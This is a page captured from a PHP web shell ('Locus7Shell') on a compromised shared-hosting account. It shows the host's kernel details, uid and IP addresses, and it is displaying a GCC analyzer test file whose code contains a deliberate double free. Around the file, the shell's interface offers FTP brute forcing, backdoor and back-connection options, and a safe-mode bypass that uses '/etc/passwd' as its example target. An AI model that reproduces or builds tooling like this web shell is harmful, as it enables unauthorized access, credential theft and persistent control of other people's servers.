Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     malloc-ipa-11.c (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-additional-options "-fdiagnostics-show-line-numbers -fdiagnostics-path-format=inline-events -fdiagnostics-show-caret" } */
/* { dg-enable-nn-line-numbers "" } */

#include <stdlib.h>

extern int some_condition ();
extern void do_stuff (int);

void
may_call_free (void *victim)
{
  if (some_condition ())
    return;

  free (victim); /* { dg-warning "double-'free' of 'victim'" } */ 
}

void test (void *ptr)
{
  do_stuff (1);

  may_call_free (ptr);

  do_stuff (2);

  may_call_free (ptr);

  do_stuff (3);
}

/* { dg-begin-multiline-output "" }
   NN |   free (victim);
      |   ^~~~~~~~~~~~~
  'test': events 1-2
    |
    |   NN | void test (void *ptr)
    |      |      ^~~~
    |      |      |
    |      |      (1) entry to 'test'
    |......
    |   NN |   may_call_free (ptr);
    |      |   ~~~~~~~~~~~~~~~~~~~
    |      |   |
    |      |   (2) calling 'may_call_free' from 'test'
    |
    +--> 'may_call_free': events 3-6
           |
           |   NN | may_call_free (void *victim)
           |      | ^~~~~~~~~~~~~
           |      | |
           |      | (3) entry to 'may_call_free'
           |   NN | {
           |   NN |   if (some_condition ())
           |      |      ~
           |      |      |
           |      |      (4) following 'false' branch...
           |......
           |   NN |   free (victim);
           |      |   ~~~~~~~~~~~~~
           |      |   |
           |      |   (5) ...to here
           |      |   (6) first 'free' here
           |
    <------+
    |
  'test': events 7-8
    |
    |   NN |   may_call_free (ptr);
    |      |   ^~~~~~~~~~~~~~~~~~~
    |      |   |
    |      |   (7) returning to 'test' from 'may_call_free'
    |......
    |   NN |   may_call_free (ptr);
    |      |   ~~~~~~~~~~~~~~~~~~~
    |      |   |
    |      |   (8) passing freed pointer 'ptr' in call to 'may_call_free' from 'test'
    |
    +--> 'may_call_free': events 9-12
           |
           |   NN | may_call_free (void *victim)
           |      | ^~~~~~~~~~~~~
           |      | |
           |      | (9) entry to 'may_call_free'
           |   NN | {
           |   NN |   if (some_condition ())
           |      |      ~
           |      |      |
           |      |      (10) following 'false' branch...
           |......
           |   NN |   free (victim);
           |      |   ~~~~~~~~~~~~~
           |      |   |
           |      |   (11) ...to here
           |      |   (12) second 'free' here; first 'free' was at (6)
           |
  { dg-end-multiline-output "" } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--